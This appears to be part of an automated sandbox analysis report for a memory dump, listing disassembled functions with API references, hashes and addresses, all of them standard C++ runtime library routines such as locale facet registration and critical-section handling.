Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

ctype.LIBCPMT ref: 00B32599
std::_Facet_Register.LIBCPMT ref: 00B325B0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B325D0

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: d5083220fce01bdaa7a0978498b3c9256264263995be9685c4a05a25ad9f6db1
Instruction ID: 8d84522df08e821f2870e6b422509bdf34c9fe7f163c3d10f17b57abfe101855
Opcode Fuzzy Hash: d5083220fce01bdaa7a0978498b3c9256264263995be9685c4a05a25ad9f6db1
Instruction Fuzzy Hash: 7401A9329011299BCB05AB649865AAEB7F0BF94720F290489E419AB2D2DF749F448B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B2D6BD Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B2D6C4
std::_Lockit::_Lockit.LIBCPMT ref: 00B2D6CE

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

codecvt.LIBCPMT ref: 00B2D708
std::_Facet_Register.LIBCPMT ref: 00B2D71F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B2D73F

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 3c2bfca06814954ad0095a086ca299cbe859d8d9760f33be8fae29384455d87e
Instruction ID: f216c860af85c546f289dff36862396d41d28dbe48b58050af102f854d9bf6a1
Opcode Fuzzy Hash: 3c2bfca06814954ad0095a086ca299cbe859d8d9760f33be8fae29384455d87e
Instruction Fuzzy Hash: BC0180359101299BCB15FB64A851ABE77F1FF84721F240589E4186B292CF789E418791

Uniqueness

Uniqueness Score: -1.00%

Function 00B32678 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3267F
std::_Lockit::_Lockit.LIBCPMT ref: 00B32689

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

messages.LIBCPMT ref: 00B326C3
std::_Facet_Register.LIBCPMT ref: 00B326DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00B326FA

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 329d1742e92d40130efdbfabda965c5e950103c759a309fae538b0c1ad96b325
Instruction ID: 618d6440c26934efb7c93e462eaaafd23ee8a7c8510e27ea1f0b375b602d4c99
Opcode Fuzzy Hash: 329d1742e92d40130efdbfabda965c5e950103c759a309fae538b0c1ad96b325
Instruction Fuzzy Hash: 0E01CC36910129DFCB05FBA4D852ABEB7F0FF84720F284489E5186B291CFB49E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3E8D8 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3E8DF
std::_Lockit::_Lockit.LIBCPMT ref: 00B3E8E9

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

messages.LIBCPMT ref: 00B3E923
std::_Facet_Register.LIBCPMT ref: 00B3E93A
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3E95A

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 983ab9e5d47e5ec0b8f63195dc447f6a78caf096343024ba3a959f62f523b6d9
Instruction ID: 5bac0020d55aa57e345eaf6a71c483d603cb3ea8ca1333d7b7ac93075eef4db2
Opcode Fuzzy Hash: 983ab9e5d47e5ec0b8f63195dc447f6a78caf096343024ba3a959f62f523b6d9
Instruction Fuzzy Hash: 020180369001299FCB15EB649855ABE77F1FF84720F29068AF5286B2D1CF74DE008791

Uniqueness

Uniqueness Score: -1.00%

Function 00B3E843 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3E84A
std::_Lockit::_Lockit.LIBCPMT ref: 00B3E854

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

collate.LIBCPMT ref: 00B3E88E
std::_Facet_Register.LIBCPMT ref: 00B3E8A5
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3E8C5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: ee9c25c7b7aacadfb466cf43e66a1585a0be523c43b4f1052451b38ad6f67e8a
Instruction ID: bff6490bef891528132c7fc3db5315098fed8c88970b03582eee780bfdfa8ee7
Opcode Fuzzy Hash: ee9c25c7b7aacadfb466cf43e66a1585a0be523c43b4f1052451b38ad6f67e8a
Instruction Fuzzy Hash: 0301AD36D001299BCB05FB6498116AEB7F0FF84710F24448AE4246B2D1CF749E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B329F6 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B329FD
std::_Lockit::_Lockit.LIBCPMT ref: 00B32A07

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B32A41
std::_Facet_Register.LIBCPMT ref: 00B32A58
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32A78

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 2cba51b2687b16d28a3399cbbf544c4666b3b1b7454221e978688660bcf678b7
Instruction ID: 1a89eaffebaa5f92e56c7744c1ebfba81c9860ad6f205c092af571a430d2b092
Opcode Fuzzy Hash: 2cba51b2687b16d28a3399cbbf544c4666b3b1b7454221e978688660bcf678b7
Instruction Fuzzy Hash: 6701C035900129DBCB11EBA4D8516BEB7F1FF84720F340489E5146B291CF749E018791

Uniqueness

Uniqueness Score: -1.00%

Function 00B32961 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32968
std::_Lockit::_Lockit.LIBCPMT ref: 00B32972

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B329AC
std::_Facet_Register.LIBCPMT ref: 00B329C3
std::_Lockit::~_Lockit.LIBCPMT ref: 00B329E3

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 2dd4b9739a82485e49d63adc3f0171921b6d48f252d6ecafd1ca7acf427e250d
Instruction ID: 71e958beda0dad02b511b2bfa265525b86c3fde1999da43509f35bba42aedb42
Opcode Fuzzy Hash: 2dd4b9739a82485e49d63adc3f0171921b6d48f252d6ecafd1ca7acf427e250d
Instruction Fuzzy Hash: 3801C031900129DBCB01EB64D812ABEB7F0FF84720F250599E5146B291CF749E008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3EA97 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3EA9E
std::_Lockit::_Lockit.LIBCPMT ref: 00B3EAA8

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B3EAE2
std::_Facet_Register.LIBCPMT ref: 00B3EAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3EB19

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 69ec42b5e914625778a0eb25f19c611e8f7aa10033252a791dcaa21f3a59039e
Instruction ID: a12f8b9fddd96a81f143633d5748d929734cab47d3f8804802b0153e71291788
Opcode Fuzzy Hash: 69ec42b5e914625778a0eb25f19c611e8f7aa10033252a791dcaa21f3a59039e
Instruction Fuzzy Hash: 6A01A9329001299BCB11AB649851AAEB7F1FF84720F28048AF4296B2D2DF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32A8B Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32A92
std::_Lockit::_Lockit.LIBCPMT ref: 00B32A9C

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B32AD6
std::_Facet_Register.LIBCPMT ref: 00B32AED
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32B0D

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: f35deb63aba556823ff4e1592c24e164bb4597e566c6e7d1ecfa55a7448818b1
Instruction ID: 960945c576e35c6723aaaae8e3c5c7b8e712acf963ab6b140426a53a5c1cac00
Opcode Fuzzy Hash: f35deb63aba556823ff4e1592c24e164bb4597e566c6e7d1ecfa55a7448818b1
Instruction Fuzzy Hash: 9601C031900129DFCB15FB6498516BEB7F1FF84720F284889E518AB292DF749E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32B20 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32B27
std::_Lockit::_Lockit.LIBCPMT ref: 00B32B31

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B32B6B
std::_Facet_Register.LIBCPMT ref: 00B32B82
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32BA2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 96dffa4329a7ab589dde7362493a56d656c77c430611ee2bec1e980e57379617
Instruction ID: 5839053d234c6e6969c71aa75476bb97f42d6d3b25b3377a9f9244560d1e95e9
Opcode Fuzzy Hash: 96dffa4329a7ab589dde7362493a56d656c77c430611ee2bec1e980e57379617
Instruction Fuzzy Hash: 00018C36910229DBCB15FB649852ABEB7F1FF84720F380589E5186B292DF749E408B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3EB2C Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B3EB33
std::_Lockit::_Lockit.LIBCPMT ref: 00B3EB3D

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

moneypunct.LIBCPMT ref: 00B3EB77
std::_Facet_Register.LIBCPMT ref: 00B3EB8E
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3EBAE

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 9e1e78b14d110259780a605a35a70d371dfe0fd5d69ab33df5295921e043275d
Instruction ID: 21d5e81dda29a3ee224dd0a49d3557bde54eb441398736e78d80ed1db611cf8a
Opcode Fuzzy Hash: 9e1e78b14d110259780a605a35a70d371dfe0fd5d69ab33df5295921e043275d
Instruction Fuzzy Hash: A301C036910129DFCB15EB64D8916BEB7F0FF84710F24058AE4296B2D1DF74DE008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B32D74 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B32D7B
std::_Lockit::_Lockit.LIBCPMT ref: 00B32D85

Part of subcall function 00B28C20: std::_Lockit::_Lockit.LIBCPMT ref: 00B28C50
Part of subcall function 00B28C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00B28C78

numpunct.LIBCPMT ref: 00B32DBF
std::_Facet_Register.LIBCPMT ref: 00B32DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32DF6

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: e02b7d772df067024a067d63a3217188e4e01c8c6ede35fdc8b658db5d579a28
Instruction ID: f65a984fd1d11fb9aea71889b13e30c077fe0a662f8a2ac34008b86892b88fa0
Opcode Fuzzy Hash: e02b7d772df067024a067d63a3217188e4e01c8c6ede35fdc8b658db5d579a28
Instruction Fuzzy Hash: 2201C0369002299BCB05FBA4D8116BEB7F0FF84720F380499E4186B291CF749E018B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B42C4E Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C58
LeaveCriticalSection.KERNEL32(00B7DD3C,?,?,00B22427,00B7E638,00B66B40), ref: 00B42C8B
RtlWakeAllConditionVariable.NTDLL ref: 00B42D02
SetEvent.KERNEL32(?,00B22427,00B7E638,00B66B40), ref: 00B42D0C
ResetEvent.KERNEL32(?,00B22427,00B7E638,00B66B40), ref: 00B42D18

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 96d59f8b3365c8f4eb819b7e4bbd0c3aed68c40cf2d5a3ee9afad4f87a2c16e2
Instruction ID: 40326a09ec53303258c84c25ae720c223101d3235723e09da34a04bd94a0918a
Opcode Fuzzy Hash: 96d59f8b3365c8f4eb819b7e4bbd0c3aed68c40cf2d5a3ee9afad4f87a2c16e2
Instruction Fuzzy Hash: EB014631A04120DFC725AF18FC48A987BB5FF4978570004AAF80A93370CF741981DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B2BB40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,823FDEC6,?,00000000), ref: 00B2BBA3
Concurrency::cancel_current_task.LIBCPMT ref: 00B2BD7F

Strings

false, xrefs: 00B2BC95
true, xrefs: 00B2BCAB

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: AllocConcurrency::cancel_current_taskLocal
String ID: false$true
API String ID: 3924972193-2658103896
Opcode ID: 2ce9a807083158e5e3b05d7ecb2aedf431a041f0044fcea581103ba64020bc32
Instruction ID: ca5062e178174bac8caf5fd8cbcf45cdcd7f58e30a8154cf90de5857688c9cdf
Opcode Fuzzy Hash: 2ce9a807083158e5e3b05d7ecb2aedf431a041f0044fcea581103ba64020bc32
Instruction Fuzzy Hash: 3161A6B1D00758DBDB10CFA4C841BDEB7F8FF14704F1446AAE859AB281EB75AA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B3D3CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3D3D2

Part of subcall function 00B3254E: __EH_prolog3.LIBCMT ref: 00B32555
Part of subcall function 00B3254E: std::_Lockit::_Lockit.LIBCPMT ref: 00B3255F
Part of subcall function 00B3254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00B325D0

_Find_elem.LIBCPMT ref: 00B3D46E

Strings

%.0Lf, xrefs: 00B3D419
0123456789-, xrefs: 00B3D41E

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2544715827-3094241602
Opcode ID: a59672e8678a8c1365770684f61f873a0e10843953208a0a12d91db4e766369f
Instruction ID: c3a60be9f6f17c301644aa0830fdc50e15c167754f2fa587d41fbac1f827fb53
Opcode Fuzzy Hash: a59672e8678a8c1365770684f61f873a0e10843953208a0a12d91db4e766369f
Instruction Fuzzy Hash: BC417E31A00218DFCF15DFA8D880ADEBBF5FF18314F200199E815AB255DB70EA56CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B3D66F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B3D676

Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28657
Part of subcall function 00B28610: std::_Lockit::_Lockit.LIBCPMT ref: 00B28679
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B286A1
Part of subcall function 00B28610: std::_Lockit::~_Lockit.LIBCPMT ref: 00B2880E

_Find_elem.LIBCPMT ref: 00B3D712

Strings

0123456789-, xrefs: 00B3D6C2
0123456789-, xrefs: 00B3D6BD

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 3042121994-2494171821
Opcode ID: 92ff8a4fdb2f62653de8a0faddac667433df35d4780061753990972d6543c444
Instruction ID: db5bdd94afe535e91c81056b9b1819e82624ce0046ece16bf4e5ba57b7cb684b
Opcode Fuzzy Hash: 92ff8a4fdb2f62653de8a0faddac667433df35d4780061753990972d6543c444
Instruction Fuzzy Hash: A1415D71900218DFCF15EFA8E8819DEBBF9FF18314F200199E815AB255DB70EA56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B4175A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B41761

Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292A0
Part of subcall function 00B29270: std::_Lockit::_Lockit.LIBCPMT ref: 00B292C2
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B292EA
Part of subcall function 00B29270: std::_Lockit::~_Lockit.LIBCPMT ref: 00B29422

_Find_elem.LIBCPMT ref: 00B417FB

Strings

0123456789-, xrefs: 00B417A8
0123456789-, xrefs: 00B417AD

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
